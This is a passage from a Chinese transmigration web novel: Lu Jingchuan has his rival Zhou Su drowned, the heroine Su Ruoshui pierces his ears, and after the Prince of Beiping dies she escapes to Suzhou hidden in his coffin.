按照剧情发展,陆泾川会用周宿作为人质,跟代王索要庞大的物资来平息这件事,因此,陆泾川不会轻易杀掉周宿- 北平王府有一座地牢,这是大家都不太知道的事。 地牢的存在已经很久了,类似于半地下室一样的地方,阴暗潮湿,蛇虫鼠蚁齐聚一窝。 墙壁上挂着陈年污渍,看起来像是干涸的血,在晦暗的灯光下显出一股暗沉的诡异感。 陆泾川提着一盏灯笼,独自抬脚走进去。 他的影子若隐若现地落在石阶上,如同鬼魅一般。 阶梯向下,走出一段路后,才来到那个连窗子都没有的牢房。 牢房实在窄小,地上污秽不堪,气味也非常难闻。 周宿身上还穿着那件红色喜服,他抱着怀里的牌位坐在那里,听到动静,霍然站起来朝前走过来,“我要见弱水。” 他单手握着面前地牢的栏杆,目光灼灼地看向面前的陆泾川。 “带我去见弱水。” “世子爷!”隔壁牢房的赵温怒急叫骂,“你忘记你的大业了吗?” “闭嘴!”周宿朝隔壁吼了一句,随后目光急切地看向陆泾川,“我要跟弱水解释清楚,马车坠崖真的只是意外。” 起码他准备杀的人只有陆泾川一个。 陆泾川微微一笑,“好啊。” 他打开牢房,让周宿出来。 周宿跟在陆泾川身后,头也不回地出去了。 一日未见阳光,周宿下意识眯起眼,他抬手,手腕上的珍珠露了出来。 陆泾川视线一瞥,“世子是怎么认识我阿姐的?” “多年前在扬州,弱水救过我一次。” 周宿自己的身份是他不敢言说的存在,那是他的耻辱,是他往上爬的绊脚石,因此,他只是含糊说了这么一句话。随后,他又抬起自己的手腕,露出上面挂着的两颗珍珠,“这是弱水给我的定情信物。” “哦?”陆泾川单手负于后,身上的黑袍打理的十分干净,长发用红宝石缎带束起,侧颜立体而明艳,这份张扬的艳丽一下就将狼狈的周宿衬托的更加狼狈。 陆泾川的视线从那两颗滚圆的珍珠上略过,随后轻轻一笑,“世子身上脏污,不如先洗一洗身子?” 周宿略一思索,随后道:“也好。” 周宿之所以如此淡定,是因为他笃定陆泾川不会杀自己。 就算他知道是自己做的手脚又能怎么样?他们没有证据。 最重要的是,在众多藩王之中,北平的实力并非最强,代王和晋王才是难啃的骨头。 北平没有这个实力跟代王结仇,周宿知道,最后北平还是要将他送回去。 “我知道小舅子对我有些误会。”周宿慢条斯理整理了一下衣领。 “是嘛。”陆泾川不置可否。 “那两具尸首是小舅子准备的?” 那两具尸首因为高空坠落,所以面部模糊,再加上在水里泡了好几日,捞上来的时候更是无法辨认,只能凭借两人身上的衣物来确认身份。 当时周宿一看到那具穿着素雅裙衫的女尸,面色煞白,他跪在地上死死抱着,任凭赵温如何规劝都无动于衷。 想到这里,周宿抱紧怀中牌位。 “嗯。”陆泾川漫不经心地走在周宿身前,引着他入了世子府,真的带他去沐浴洗漱。 周宿换过一身衣衫,“小舅子,你阿姐呢?” 陆泾川看周宿终于换下那身碍眼的喜服,这才懒懒抬手。 两个暗卫出现在周宿身后,一个掐住他的脖子往浴桶里按,另外一个死死钳制住他的挣扎。 隔着一扇屏风,陆泾川坐在桌边吃茶。 后面的暗卫过来禀告,“主子,没气了。” 陆泾川放下茶盏,起身,绕过屏风走过去,微微歪头看了一会,抬手伸进浴桶里,从里面捞出周宿的胳膊,扯下上面挂着的两颗珍珠。 “周宿的屋子搜了吗?” “搜过了,都是一些日常用品。”顿了顿,那暗卫似想起什么,“还有一幅画。” “什么画?” 暗卫没有说话,陆泾川瞥他一眼。 暗卫从怀里掏出那幅画,展开在陆泾川面前。 是几年前的苏弱水。 周宿素有丹青妙笔之称,画上女子惟妙惟肖。 “呵。”陆泾川的眼神骤然阴冷,他抬手拿过此画,直接扔进炭盆之中。 火舌舔过,画作化为灰烬。 “把尸体给代王送回去,告诉他,代王世子不慎溺水而亡。”- 苏弱水今天眼皮跳得厉害。 听说左眼吉右眼凶。 她伸手抖了抖自己的右眼。 凶兆啊。 秉持着宁可信其有,不可信其无的态度,苏弱水往自己的眼皮上沾了一点点白色布条,让它白跳。 这是老人家用的土法子,如果是以前,苏弱水一定嗤之以鼻,可经历过穿书事件之后,连她自己都忍不住开始神神叨叨。 苏弱水起身时已经到了午时,王妈妈和画屏早就替她准备好了一切,并将今日的食单拿了过来让苏弱水挑选。 苏弱水捏住手里的食单,思绪忍不住发散,她想到昨日见到的那位北平王,看起来比几月前憔悴多了。 主线剧情无法更改。 北平王的死亡无法逃避。 苏弱水的心头突然有些沉重。 她拿着食单起身,“父王用膳了吗?” 王妈妈和画屏对视一眼,“这个时辰,王爷应该还没有。” 苏弱水点头,拿着食单出了门去寻北平王。 她住的明月楼距离北平王住的寝殿有些远,苏弱水慢吞吞走了一段路,然后向画屏一打听,还要再走半个时辰就放弃了,直接让人抬了软轿过来。 北平王正在存心殿内,苏弱水进去的时候,他正坐在轮椅上,盯着墙壁上挂着的宝剑看。 苏弱水知道这柄剑,先帝所赐,他与自己的兄长也就是当今圣人一人一柄。 北平王用这柄剑替自己的兄长护住大周江山,抵御蒙古。 可现在,这柄剑却显得那么刺目。 “父王。”苏弱水低声开口,“我胃口不太好,您陪我用些午膳吧?” 北平王听到苏弱水的声音,骤然回神。 他转动着身下轮椅,目光落到女儿那张与自己极其相似的面容上。 “好。” 苏弱水将手里的食单送到北平王面前。 北平王低头往食单上扫了一眼,却霍然发现自己连女儿喜欢吃什么都不知道。 “挑你喜欢的就好。” 苏弱水点头,挑了一些自己喜欢的菜,然后又兴致勃勃地点了一款食单上没有的拔丝地瓜。 接过食单的小太监苦着脸赶紧去了膳房让找从前那些师傅做。 因为原身跟北平王不亲近,她自己也跟北平王不亲近,所以两人难得单独相处在一个空间内。 沉默,沉默,还是沉默。 “失踪的这段日子里,一直跟你弟弟在一起?”最终,还是北平王率先开了口。 “嗯。”苏弱水点头,低头把玩着北平王这里的茶盏。 比她那里的似乎大一点,上面的图案也更简单些。 “你觉得你阿弟如何?” 苏弱水想了想,“不是一个好人。”说完,她愣了愣。 这句话好耳熟。 她想起来了,就是在这个存心殿,四年前,北平王也问过她同样的一个问题。 难道那个时候陆泾川也在殿内? 原来她真的说过这句话。 “你当时也这样说,我才将他留了下来。”北平王接过苏弱水的话头。 “是因为我?” 北平王点头。 苏弱水自认为自己只是一个无关紧要的炮灰垫脚石,根本就没有想到居然会变成主宰过陆泾川生存还是死亡的人。 原来他是那个时候……爱上她的? 苏弱水垂眸,她总以为陆泾川对她是新鲜。 可现在看来,确实没有那么简单。 只是,她不爱他。 “如果他不是你阿弟,你希望他成为你的什么人?”北平王看着坐在自己身边的女儿,出落的亭亭玉立,虽然长相与他更像,但眉眼之间依旧带着几分北平王妃的影子。 “希望他不是我任何人。” 这是苏弱水心中早就想好的答案。 北平王沉默下来,他端起面前茶碗轻抿一口,“好,父王知道了。”- 苏弱水与北平王一道用完午膳之后就回明月楼了。 她推开屋门,没想到陆泾川已经在屋子里等着她了。 “阿姐。”男人缠上来,“我想给阿姐画一幅画。” 为什么会心血来潮的有这个想法? 苏弱水神色疑惑地看着陆泾川。 “阿姐坐这里。” 苏弱水被陆泾川按着在长榻上坐下。 “阿姐还是躺下吧。” 苏弱水又被摆弄着躺下。 “你没事做吗?” 怎么一直在她眼皮子底下晃悠? “做完了。” 这么快? “周宿呢?” “他啊,”陆泾川听到苏弱水提起周宿的名字,研墨的动作顿了顿,抬眸微笑道:“死了。” 苏弱水瞪大了眼坐起来,“怎么会死的?” 不应该啊,周宿不应该会死啊。 “落水溺亡了。”陆泾川继续慢条斯理的研墨,“阿姐心疼了?” “不是,只是觉得有些古怪。”苏弱水蹙眉兀自出神。 听到苏弱水的回答,陆泾川收紧的手臂放松下来,他将研好的墨端过去,然后搬了一张书案坐在苏弱水对面,摊开白纸,开始作画。 见陆泾川真要作画,苏弱水有些不自在地动了动。 男人的视线落在她身上,从头到脚,从头发丝到脚底板,一丝一毫都不放过。 那种炙热到如同身体被狠狠舔舐了一遍的眼神,令苏弱水下意识偏过了头。 “阿姐,把头转过来。” 苏弱水僵硬了一会,才缓慢把头转过去。 只是她依旧没有把眉眼抬起来。 陆泾川也不再说话,专心致志地画画。 苏弱水躺累了,不知不觉闭上了眼。 等她一觉睡醒,就发现陆泾川不知道去哪了,只她面前的书案上留着一幅画。 画中的她眉眼半阖躺在那里,青丝如瀑,面容冷寂,只是似乎有哪里不对劲。 屋门被人打开,陆泾川从外面进来,他手里拿着一小盒东西。 “阿姐醒了。”陆泾川走过去,将苏弱水圈在怀里,然后打开手里的小盒,露出里面的朱砂。 陆泾川拿起毛笔沾上一点朱砂,轻轻点在画中美人额间。 原来是少了这一点朱砂痣。 黑白泼墨的美人图,唯独额间朱砂惑人。 而在点了这一点朱砂之后,苏弱水竟觉得画中美人像是有了几分灵气一般似要活过来。 “可惜,只画出阿姐三分神韵。” 陆泾川贴着苏弱水的耳朵说话。 苏弱水道:“已经画得很好看了。” “是嘛,那阿姐要奖励我吗?” 苏弱水心中警铃大作,“又不是我要你画的?” 陆泾川轻吻她的耳垂,叼住她的珍珠耳坠轻轻拉扯。 苏弱水感觉到细微的疼痛,下一刻,那只珍珠耳坠子就被陆泾川给咬了下来。 他叼着苏弱水的耳坠子低头看她,然后又用另外一只手去捻她的耳垂,含糊不清道:“好嫉妒啊,阿姐。” “我也想要珍珠。” 第44章 阿姐,爱我好不好? 男人俯身低头看她, 嘴里叼着那颗圆润光滑的小珍珠。 那是一只用一根细小的链子挂着的珍珠耳坠,陆泾川咬着链子,那颗珍珠就抵在他的唇上。 苏弱水只剩下另外一边的珍珠耳坠。 男人的指尖在她的耳坠上轻轻揉捏, 揉得苏弱水浑身一抖, 偏头躲他。“你要就给你。” 苏弱水抬手取下珍珠耳坠递给他。 陆泾川捏着手里的珍珠耳坠,看着苏弱水光秃秃的耳垂, 上面有两个很小的耳洞, 微微泛着红。 “我打仗时给阿姐寄回来的那些东西,阿姐都用了吗?” 陆泾川寄回来的东西太多了,苏弱水一概让画屏扔在了仓库了。 她心虚地点头,“用了。” 细长的眼睫覆着男人漆黑的眼,陆泾川握着手里的珍珠耳坠,“那我怎么一件都没有看到。” 苏弱水强装镇定, “你送了那么多东西过来,你难道每一件都记得?” “嗯, 记得。送给阿姐的东西,我每一件都记得。”陆泾川伸手环住她, 并没有继续“兴师问罪”, 而是撒娇道:“我送了阿姐那么多礼物,阿姐也送我一样,好不好?” “你想要什么?”苏弱水已经习惯陆泾川的搂搂抱抱。 她想, 习惯真是一个可怕的东西啊。 陆泾川的视线从苏弱水身上移开, 慢吞吞在屋子里转了一圈。 苏弱水跟着他看。 她的屋子里摆满了各种风雅之物,都是原身喜欢的东西。 窗下是书砚,书架子上堆了满满的佛经,绿色的窗纱透出一股清冷文雅之气,墙上挂着名家大作, 苏弱水也不认识。 不过因为苏弱水的喜好跟原身相差很大,所以这间屋子里也逐渐融入了很多她自己的风格。 初时佛香萦绕,雪洞一般堆满佛经的屋子如今堆满了装着佛经门面的话本子,梳妆台上多了许多颜色明丽的首饰,桌子上也一直备着糕点果子,还有不断换着花样的各色奶茶。 陆泾川走到苏弱水的梳妆台前,拿起这个看看,又拿起那个看看,似乎是没有满意的。 “我不要这些。” “那你要什么?” “阿姐陪我出去挑。” 苏弱水还没反应过来,就被陆泾川拉着出门了。 他牵着苏弱水的手,心情极好的将她抱上马车。 夜色已黑,北平王的夜市却刚刚开始。 两人坐着马车出去,还没有用晚膳的苏弱水嗅到食物的香气。 “阿姐要先用晚膳吗?想吃什么?” 苏弱水属于小鸟胃猪瘾。 她想吃的东西挺多的。 最后,苏弱水挑了附近一家烤鸭店。 烤鸭店的生意很好,陆泾川加钱要了一个包厢,两人坐到二楼包厢里。 苏弱水看着菜单点了一个招牌烤鸭,然后又点了一份应季的豌豆黄,再点一些配菜比如干炸丸子,糖醋鲤鱼,香椿炒鸡蛋,最后再加一份甜品桃花酥。 北平的烤鸭是最出名的,尤其是这家。 苏弱水之前有一段时间常常带着画屏和王妈妈过来吃,那段日子三人都胖了好几斤,连带着苏弱水的新衣都宽了几分。 这家烤鸭现杀现烤,用的果木炭,烤出来的鸭子有一股果木炭火清香。 烤鸭上的很快,苏弱水确实有些饿了。 她洗净双手,取了一片荷叶饼摊开,然后放入还在滋滋冒油的烤鸭肉,再搭配上酱料、葱丝等物,包好之后往嘴里塞。 陆泾川单手撑着下颚坐在那里看苏弱水吃。 “你不吃吗?” “我还不饿。” 苏弱水没有管他,继续又吃了一点烤鸭,然后另外吃了几口菜,吃不下了,才看到陆泾川慢吞吞地拿起筷子吃了起来。 陆泾川吃饭的速度很快,他一下将所有盘子打扫干净。 其实苏弱水注意陆泾川这个习惯很久了,他似乎总是喜欢等她先吃。当然,也不是没有两个人一起用膳的时候,只是很少。 陆泾川舔了舔唇,“我是个奴隶,从小吃东西都是要抢的,抢不到就会挨饿。”说完,男人伸出指腹替苏弱水擦了擦她唇角的烤鸭酱,“阿姐慌什么,不是早就知道了吗?我不是你亲弟弟这件事。我知道的,阿姐从未信过我是苏锦书。” 男人的眼瞳是极深的黑,可望向她的眼神却很亮。 苏弱水偏头,沉默,没有正面回答。 陆泾川也不急,他再次握住苏弱水的手。 他们有很长的时间来培养感情- 用过晚膳,苏弱水被陆泾川牵着在大街上消食。 两人走走停停,直到苏弱水被陆泾川带进聚珍阁。 这是北平城内最大的首饰坊。 聚珍阁以价格昂贵,品质上佳著称,因此来这里的人非富即贵。 苏弱水以前也没有少来,因此掌柜的一眼就看到她了,赶紧殷勤上前接待。 “郡主,世子爷。这个月咱们聚珍阁新来了一批好东西,您要不要看看?” 苏弱水点头,掌柜的便赶紧将人往楼上包厢里带。 包厢内有人上了茶水点心,苏弱水坐在玫瑰椅上,看着聚珍阁的员工手捧托盘,站在她面前展示,里面摆放着一件又一件珍贵首饰。 苏弱水被吸引了目光,她给自己要了一对梅花耳坠,然后一转头看到盯着她看的陆泾川。 看什么? “阿姐给我买。” “你要什么?” 苏弱水顺着陆泾川的手指方向看去,那是一对红宝石耳坠。 “世子眼光真好,这对红宝石耳坠太适合郡主了。” 苏弱水拿起其中一只红宝石耳坠,然后朝陆泾川招手。 陆泾川从玫瑰椅上起身,一步跨到苏弱水面前,然后双手背在身后,乖巧朝她的方向弯腰。 苏弱水将耳坠子往他耳垂上比划了一下。 陆泾川真的太适合红色了。 可惜他似乎更爱深色衣物,常穿玄色。 苏弱水还记得少年时期的陆泾川,王妈妈按照自己的喜好给他打扮的跟个小贵公子一样,穿着宝蓝袍子,阳光灿烂的。 虽然只是假象,但看起来可比现在乖巧多了。 苏弱水突然想起自己曾经跟顾捡成亲的时候,他是不是也穿过一身红?可惜她那个时候眼睛看不见。 “嗯?”苏弱水突然发现了不对,她捏着陆泾川的耳垂仔细观察了一下,然后得出结论,“你没有耳洞。” 陆泾川的耳垂上并没有耳洞痕迹。 “阿姐给我扎。”陆泾川贴着她,不肯放弃这对红宝石耳坠。 他甚至已经将其中一只戴到了苏弱水的耳垂上。 苏弱水常穿素雅淡色,一方面是原身形象气质更适合这样的颜色氛围,另外一方面是她自己也比较喜欢简单一点的款式。 当然,首饰之类的会丰富些。 只是她还没有戴过颜色这么红的红宝石。 跟鸽子血一样。 掌柜的赶紧端起靶镜给苏弱水看。 苏弱水照着靶镜侧头,漂亮的红宝石在她白皙的脖颈间划出一道漂亮的红色弧线。 这宝石实在是太红了,像是要滴出血来似得。 “世子爷的眼光实在是好,像这样品种的红宝石,除了咱们这,就只有宫里头才有了。” “嗯,记账。”苏弱水点了点头,替陆泾川买下了这对红宝石耳坠。 在银钱方面,北平王是从来不会苛待她的。 只是跟顾捡经历过一段贫穷的日子后,苏弱水还是没忍住问了一句,“多少银子?” 掌柜的一愣,这位郡主什么时候关心过价钱? “三百两。” 苏弱水倒吸一口凉气。 她要写多少稿子才能把这些钱赚回来? 最关键的是这钱还不是花在她自己身上的。 “要不我们换一样?”苏弱水小声跟陆泾川商量。 “我就要这个。” 苏弱水莫名觉得陆泾川现在像个撒泼打滚的小孩。 你难道不记得我们卑微贫穷的日子了吗? 好吧,卑微贫穷的只有她一个人。 最终,苏弱水还是忍痛买下了这对红宝石耳坠,然后跟陆泾川一道回了北平王府。 “你跟着我干什么?” 苏弱水回明月楼,陆泾川却不回他的世子府,比她还熟练的走进她的明月楼内。 画屏见苏弱水和陆泾川回来,赶紧给两人一人一杯冲泡了蜂蜜水,然后被苏弱水斜楞了一眼。 画屏不解。 “阿姐给我扎耳洞。”陆泾川吃了一口蜂蜜水,便蹲到苏弱水身边,他双手搭在她的膝盖上,仰头看她。 像一只大型犬在撒娇卖萌。 可苏弱水知道,即使这只犬看起来再如何可爱,也无法掩盖它的凶残。 它随时会龇牙,然后恶狠狠地咬她一口。 苏弱水没有给人扎过耳洞,她猜王妈妈和画屏应该比她更熟练,她记得以前看到过画屏给小丫鬟扎过耳洞。 “我让画屏帮你。” “不要。”男人皱眉,脸上显出明显的不愿意。 苏弱水想起陆泾川的臭毛病,不喜欢别人碰。 那他怎么老喜欢黏着她? “我不会弄,把你弄疼了怎么办?” “那阿姐亲亲我就不疼了。” 苏弱水:……- 古代扎耳洞的方法比较多,画屏比较擅长的是用消毒过后的银针或者金针蘸取香油进行快速穿刺。 画屏替苏弱水将东西都准备好了,然后又细细向她教授穿针技巧。 “郡主莫怕,用胭脂在耳垂上点上一点红定位之后,照着这一点红扎过去就好了。” 苏弱水听得很认真。 陆泾川坐在圆凳上,一边摆弄银针,一边摆弄胭脂。 对于一个上过战场的人来说,自然不会惧怕这根小小的银针。 因此,反而紧张的人是苏弱水。 她没有给人穿过耳洞。 苏弱水伸出手轻轻捏了捏陆泾川的耳垂,薄薄一片却肉感十足。 画屏已经将银针消毒完毕递给苏弱水。 苏弱水看着陆泾川耳垂上自己刚刚点上去的用来定点的胭脂,紧张地咽了咽口水,努力平复心情。 想点事情来分散一下注意力吧。 苏弱水放纵了一下自己,她想到刚才吃的烤鸭味道不错,买的梅花耳坠也好看,红宝石耳坠实在是太贵了……苏弱水思绪跳跃,又想到宣府,想到顾捡,想到陆泾川对她做的那些恶行。 苏弱水睁开眼,手起银针落,一鼓作气直接给陆泾川的耳垂来了一个对穿。 “嘶……”男人轻轻咬牙,发出声音。 苏弱水甚至觉得意犹未尽。 “你还有一个耳朵。” “不用了,阿姐,我戴一个就好了。” “没关系的,我帮你。” 陆泾川的两边都被苏弱水扎好了耳洞,她捏着手里的针,眼神还在蠢蠢欲动,对着陆泾川的身体上下扫射。 她听说很多人还会往身上打洞,不知道这根小银针行不行。 额头?嘴唇?鼻子?还是舌头? “阿姐,”陆泾川捏着自己的耳垂,“你现在看起来有点可怕。” 因为刚刚扎好耳洞,所以陆泾川还不能直接戴耳坠子,他用细小的金针代替,抬头看她的时候,耳垂上两抹鎏金色异常明显,给他艳丽的容貌增添了几分精致贵气。 晚上睡觉,苏弱水做了一个梦。 她梦到自己把陆泾川扎成了刺猬,陆泾川趴在地上呜呜咽咽的哭。 苏弱水被爽醒了,然后正对上一双熟悉的黑色眼眸。 “阿姐。” 陆泾川倾身过来亲她。 苏弱水一时间还没从睡梦之中醒过来,她伸手摸了摸陆泾川的脑袋。 没有刺,头发还挺软的。 陆泾川一愣,没亲下去。 他盯着面前的苏弱水,缓慢将头靠在了她的颈项侧。 “阿姐,再摸摸我。” 苏弱水却是彻底醒了,她将手从陆泾川的头上拿了下来。 陆泾川躺在那里,抿唇,将脸更加埋进女人脖颈间。 陆泾川没有再说话,直到苏弱水被睡意纠缠,马上就要睡过去的时候,才听到他的低声呢喃,“阿姐,爱我好不好?”- 最近苏弱水常去与北平王一道用膳,这样反而避开了陆泾川,因此,苏弱水去北平王那里去的更勤快了。 北平王跟苏弱水的口味相差还是挺大的。 苏弱水是个南方胃,北平王是个北方胃,两人每次用膳都是各摆半桌。 苏弱水用完午膳,漱了口,净了手,捧着奶茶坐在那里喝,她突然感觉到有一股视线落在她脸上。 “父王,怎么了?” 虽然苏弱水跟北平王一起用膳多日,但两人的交流其实并不算多。 北平王端起面前的茶盏,哑声开口,“你该知道,他不是你弟弟吧?” 苏弱水沉默了一会,然后点头。 “他成长的太快了。”北平王这几日终于空出手来着手调查陆泾川,他万万没想到,陆泾川不止于表面那般仅仅掌握一支铁骑,他还豢养了许多暗卫和眼线。 最恐怖的是,他在北平地下挖了一座城。 一座军事基地。 如果是以前的北平王发现这件事,一定会阻止他,可现在的北平王望着那柄挂在墙上的宝剑,嘴角却只是露出讽刺的笑。 他将陆泾川养成,变成一柄锋利的剑,刺向皇城,怎么不算是一种复仇呢? 只是他的女儿,他实在亏欠太多。 他半生活在仇恨里,甚至是靠着这股仇恨活到了现在。 “原本此事我不该告诉你,可天下即将大乱……弱水,锦书的事情并非偶然,而是有人蓄意为之,只是那人站得太高,我够不着,我等了十几年,终于等到现在。” 苏弱水的脸上显出震惊之色。 她听出了北平王的意思。 苏弱水一直以为北平王不知道这件事,甚至原著中描写到陆泾川在他面前揭穿圣人的真面目时,这位王爷还在悲恸兄弟之情。 难道北平王一直都知道? 他让陆泾川留下来,帮助他成长,甚至他将自己的死亡都算计进去了,只是为了杀死那个坐在皇位上的人。 那么,在“陆泾川坠崖死亡”之后,北平王同意周宿跟北平郡主的牌位成亲,也不是单纯的为了弥补女儿,而是在培养另外一条毒蛇,一条能将圣人缠绕致死的毒蛇。 原著小说中并未提及这件事。 苏弱水恍惚了一阵,才想到有暗线这种写法。 藏在高潮迭起,反转不断的剧情之下,需要细细剖析才能找到的一条线。 陆泾川的野心,是北平王故意放大的,他需要一个人来接替他残破的身体继续复仇。 苏弱水终于明白为什么北平王会与原身如此冷淡,他的心被复仇的愤怒所覆盖。 这股怒火太旺盛了,旺盛到能燃烧一切理智。 远离原身,是为了保护原身不被这股愤怒一齐烧毁。 北平王的克制、远离、冷淡突然变得有迹可循。 他是故意的。 他想要原身能一个人活着。 可惜,人的谋算终归抵不过人心的渴望。 原身竭力想要的却只是一份亲情温暖。 “当初我以为你死了,看到了你的笔记之后……”北平王语气突然一顿,“周宿虽然不是一个好人,但他对你是真心的。我若想要将北平兵权交给他,也不必多此一举来举办这场阴婚。” 北平王不是一个擅长说话的人,他说话的时候会突然断句,似乎是在思考该如何解释这件事。 “我懂的,父王。”苏弱水点头,“我没有怪你。” 起码原身是不会怪北平王的。 北平王抬眸看她,他瘦了很多,曾经伟岸高壮的身躯被仇恨和病魔吞噬,现在被死亡笼罩了一半。 北平王的生命即将结束,可他的复仇刚刚开始。 “弱水,父王已经安排好了一切,往后的局势会比现在还要危险,”说到这里,北平王顿了顿,他的语气变得柔和,“如果让你选择,你想要怎样的生活?” 短短一月时间,藩王接连出事,齐王被关押于金陵城的地牢里不见天日,明王被贬为庶人流放岭南,湘王闭门自焚而亡。 苏弱水虽然没有怎么出府,但外面的情况确实不容客观,就连陆泾川这几日都忙了起来,不再日日黏在她身边了。 苏弱水低头,想了很久,还是上次那个回答,“我想离开陆泾川。”- 苏弱水从北平王那里回来的时候,陆泾川还没回府。 她梳洗完毕入睡,睡到半夜的时候突然感觉脸上有什么东西在爬。 酥酥麻麻的。 苏弱水猛地一下睁眼,对上一只摇晃的红宝石耳坠。 床头置着一盏小夜灯,是漂亮的琉璃灯。 苏弱水借着灯色,视线上移,看到陆泾川那张脸。 “阿姐。” 三更半夜,男人大概是刚刚沐浴完毕,身上带着湿漉的皂角香气,凑过去亲她。 即使陆泾川已经洗过,苏弱水还是能嗅到他身上的血腥味。 苏弱水盯着他,缓慢抬起手,摸了摸他的眼睫。 男人眨了眨眼,眼睫扫过苏弱水的指尖,小扇子一样。 他趁机凑近,“阿姐,耳洞好疼,阿姐,亲亲我。” 第45章 你是谁?我阿姐呢? 陆泾川已经戴上了那对红宝石耳坠。 细长的链子坠着红色宝石, 从苏弱水的面颊上划过时带上了冰冷的温度,让她忍不住往后躲了躲。 男人的唇追上来,咬着她的唇瓣轻轻啃噬。 苏弱水半睁开眼, 睡意逐渐消散。 她伸手揽住陆泾川的脖颈。 这是女人难得的主动, 男人的双眸亮了起来。 苏弱水偏头,在陆泾川的耳垂上亲了一口- 北平王去世的消息传来时, 苏弱水还未起身, 昨夜陆泾川闹她闹得有些晚,男人精力充沛,根本没睡一会就起身出府去了外头,留下苏弱水一个低精力人群躺在那里补觉。 王妈妈跌跌撞撞地冲进来,眼眶泛红,拉开床帐。 苏弱水被王妈妈的呜咽声吵醒, 她睁开眼,嗓音含糊, “怎么了?” 王妈妈伸手捂着嘴,“王爷, 薨了。” 苏弱水一瞬清醒。 昨日两人还好好地坐在一处用膳, 苏弱水甚至看着北平王精神气比平日都好多了。 平常北平王只能用半碗米饭,那日里却用了整整两碗,她以为他不会那么快就去的, 没想到是……回光返照。 苏弱水揪紧身上被褥, 她缓慢坐起来,跟王妈妈道:“替我准备一下。”- 府中内外挂起了白绫,北平王府门口的红色灯笼也换成了白色,上面是大大的黑色“奠”字。 苏弱水穿上丧服,看着身边的人忙忙碌碌准备丧礼。 她来到北平王的寝殿, 那位王爷就那样躺在那里,身上穿着得体的衣物,安静地彷佛睡着了一样。 苏弱水上前,站在床边。 她触到北平王的手,肌肤很冷,像冬日里凝结在水面上的冰,没有温度,透出一股失去生气的黏腻感。 一只手从旁边伸出来,一把握住苏弱水的手腕,将她往自己怀里拉。 苏弱水抬头,看到急匆匆赶回来的陆泾川,身上还穿着武服。武服被汗水湿透,他喘着气,将苏弱水的头往自己怀里按。 苏弱水被他抱在怀里,心里虽然有些伤感,但并没有特别伤心。 因为北平王并非她真正的父亲。 “阿姐,别哭,我在。” 陆泾川抱着她,低声安慰。 苏弱水眨了眨眼,看到陆泾川衣襟上渗出的水渍,她抬手擦了擦眼睫,才发现自己不知道什么时候居然哭了。 屋里压抑着气氛,大家都在偷偷抹眼泪- 因为最近外面情势不好,所以北平王的丧礼并没有大办,前来吊唁的人也不算多。 苏弱水在灵堂内跪了一日,被画屏搀扶起来的时候双腿发软,差点跌倒。 幸好陆泾川扶住了她,然后一把将她抱起,直接抱回了明月楼。 “阿姐好好休息,外面的事情都有我处理。” 苏弱水点头,蜷缩着在被褥里睡着了。 画屏端来吃食,苏弱水也没有胃口,只是稍微用了一些奶茶。 夜间寒凉,画屏往屋内多添了一个炭盆。 因为外面要处理的事情实在是太多了,所以陆泾川被绊住了脚。 棺木在灵堂内停留三日,在第四日的时候会被迁到陵墓之中。 北平王的陵墓属于地宫结构,当那个棺木被放进去之后,墓门被缓慢封上,陆泾川跪在北平王的墓碑前,磕了三个头,然后才带领一众人回到北平王府。 陆泾川回去时天色已经暗了,他自己提着灯笼直奔明月楼。 这几日他忙着北平王的丧事,已经好几日没有见到阿姐了。 听画屏说这几日阿姐不舒服,昨夜却还是悄悄去了灵堂,随后一个人回到明月楼休息。 今日要给北平王送葬,因为昨夜没有休息好,所以阿姐没有去。 陆泾川对苏弱水的选择向来不会干涉,只是让画屏照料好她,便自己一个人去送了北平王最后一程。 陆泾川推开明月楼主屋的大门,屋内照常烧着炭盆,画屏正在将晚膳往外端。 陆泾川看一眼一口都没有动的晚膳,皱了皱眉,“郡主没用膳吗?” 画屏点头,“郡主睡了一日都没有起身。”说完,画屏脸上露出担忧表情。 陆泾川的眉头皱得更深,他走到床边,抬手撩开床帐,露出那个躺在被褥里的女人。 女人身上盖着绸缎被褥,只露出一个背影。 长发如瀑,纤纤玉指搭在被褥上。 陆泾川却是心头一跳。 他一把扯住女人的胳膊将她翻过来。 那是一张跟苏弱水有几分相似的脸,正脸上看是不像的,可若是从侧脸上来看,几乎没什么区别。 陆泾川的表情瞬间阴郁,他捏着女人的胳膊,几乎要将她胳膊捏碎,“你是谁?我阿姐呢?”- 苏弱水蜷缩在北平王的棺材里,穿着绣鞋的脚微微一动便会碰到北平王的脚。 有点瘆人。 苏弱水叹息一声,觉得北平王想的这是什么主意啊,居然让她待在他的棺材里跟着逃跑,还说到了陵墓之后,自然会有人接应。 苏弱水摸了摸自己藏了一些银票的心口,从腰间的口袋里掏出一块芙蓉糕塞进嘴里。 棺木都被封死了,却在下面留了几个洞供她呼吸。 苏弱水一边啃着芙蓉糕,一边听着外面的唢呐之声。 鬼使神差的,苏弱水微微倾身,扒开棺木上提前打好的一个小洞往外看。 人太多了,棺木的高度又不够,因此,苏弱水只看到一片丧服的白,并不能看到那个捧着牌位,走在最前面的男人。 苏弱水被喉咙里的芙蓉糕噎了一下,她收回视线,轻轻拍了拍自己的脸。 她在干什么? 路程有些长,苏弱水歪着脑袋坐在那里打瞌睡。 一直到一阵又一阵哭嚎声将她吵醒。 送葬的队伍到了地方,大家都卯着劲儿的哭。 苏弱水突然被感染,她伸出手触到北平王的脚,轻轻唤了一声,“父王。” 没有回应。 苏弱水抬起手摸了摸脸,她也哭了。 果然,人心都是肉长的,虽然她并非真正的苏弱水,但在这样的氛围下也起了悲伤之心。 哭嚎声渐渐远去,苏弱水屏息凝神,听到一阵撬开棺木的声音。 外面的烛火光亮一下透进来,她抬手遮了遮眼睛,听到有人唤她,“郡主?” 是个年纪有些大的女人,苏弱水不认识这个人,她一边扶着苏弱水出来,一边跟她介绍道:“我是王爷为郡主专门训练的一支暗卫,我们这支暗卫里都是女子。” 北平王并没有跟她提过这件事,原著中也没有提到过这件事。 是因为她没有死在保护陆泾川的途中,所以才将这条暗线引了出来吗? “郡主,王爷已经安排好了一切,您想去哪?” 苏弱水想了想,道:“苏州。” 三年藩王乱战,苏州虽因为军费所需,所以增加了许多徭役赋税,但却并未被战争直接波及。意思就是,大家虽然过得苦了点,但没有遭受战乱之苦,士兵不会打过来。 没有战乱,苦一点,累一点,也比被战争打的家人失散,生离死别的好- 苏州的梅雨季一向是最令人烦恼的。 家里的东西一旦没有注意就会发霉。 苏弱水卧在榻上看账本。 梅姨站在她身边。 梅姨就是之前北平王给她准备的那支暗卫的领导人。 三年前,苏弱水随口一句想来苏州,梅姨就带着她连夜赶路到了苏州。 